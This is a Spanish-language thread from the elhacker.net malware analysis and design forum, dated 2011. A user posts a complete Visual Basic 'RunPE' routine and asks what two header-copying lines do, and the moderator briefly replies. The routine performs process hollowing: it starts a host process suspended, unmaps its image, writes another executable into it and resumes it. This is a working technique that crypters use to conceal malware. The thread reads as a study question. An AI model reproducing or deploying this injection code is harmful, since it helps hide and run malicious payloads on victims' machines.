elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Duda RunPE
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda RunPE  (Leído 3,308 veces)
[Kayser]

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Duda RunPE
« en: 10 Diciembre 2011, 12:47 pm »

Código:
Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Buenas estoy estudiando este codigo de un RunPE... Alguien me puede decir que hacen estas instrucciones

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

La primera toma los primeros 64 bytes del archivo que  coinciden con su cabecera IMAGE_DOS_HEADER no? Y la segunda copia los primeros 248 bytes a partir de la cabecera IMAGE_DOS_HEADER e_lfanew que coincide con la cabecera IMAGE_NT_HEADERS no?
En línea

fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: Duda RunPE
« Respuesta #1 en: 10 Diciembre 2011, 13:26 pm »

Estan rellenando las estructuras IMAGE_DOS_HEADER y IMAGE_NT_HEADERS, mira que es lo que hace la api RtlMoveMemory.

En línea

Un byte a la izquierda.
[Kayser]

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Duda RunPE
« Respuesta #2 en: 10 Diciembre 2011, 13:34 pm »

Asi pues es correcto lo que he dicho no? Para rellenar IMAGE_DOS_HEADER copia los primeros 64 bytes del ejecutable que coinciden con al estructura IMAGE_DOS_HEADER y para rellenar IMAGE_NT_HEADERS copia los siguientes 248 bytes a la estructura IMAGE_DOS_HEADER e_lfanew no?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
RunPE Killer V. 1.0 By Psymera
Ingeniería Inversa
psymera 6 7,920 Último mensaje 17 Septiembre 2009, 18:25 pm
por Arkangel_0x7C5
Ayuda creacion RunPE VB6
Análisis y Diseño de Malware
fary 3 4,791 Último mensaje 28 Enero 2011, 22:33 pm
por fary
Que es un RunPE? « 1 2 »
Análisis y Diseño de Malware
x64core 11 14,413 Último mensaje 16 Octubre 2011, 11:29 am
por [Kayser]
Funcionamiento de un RunPE « 1 2 »
Análisis y Diseño de Malware
[Kayser] 10 8,855 Último mensaje 29 Julio 2013, 19:53 pm
por arfgh
Ayuda RunPe win7
.NET (C#, VB.NET, ASP)
Cromatico 8 5,270 Último mensaje 30 Noviembre 2012, 13:19 pm
por Cromatico
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines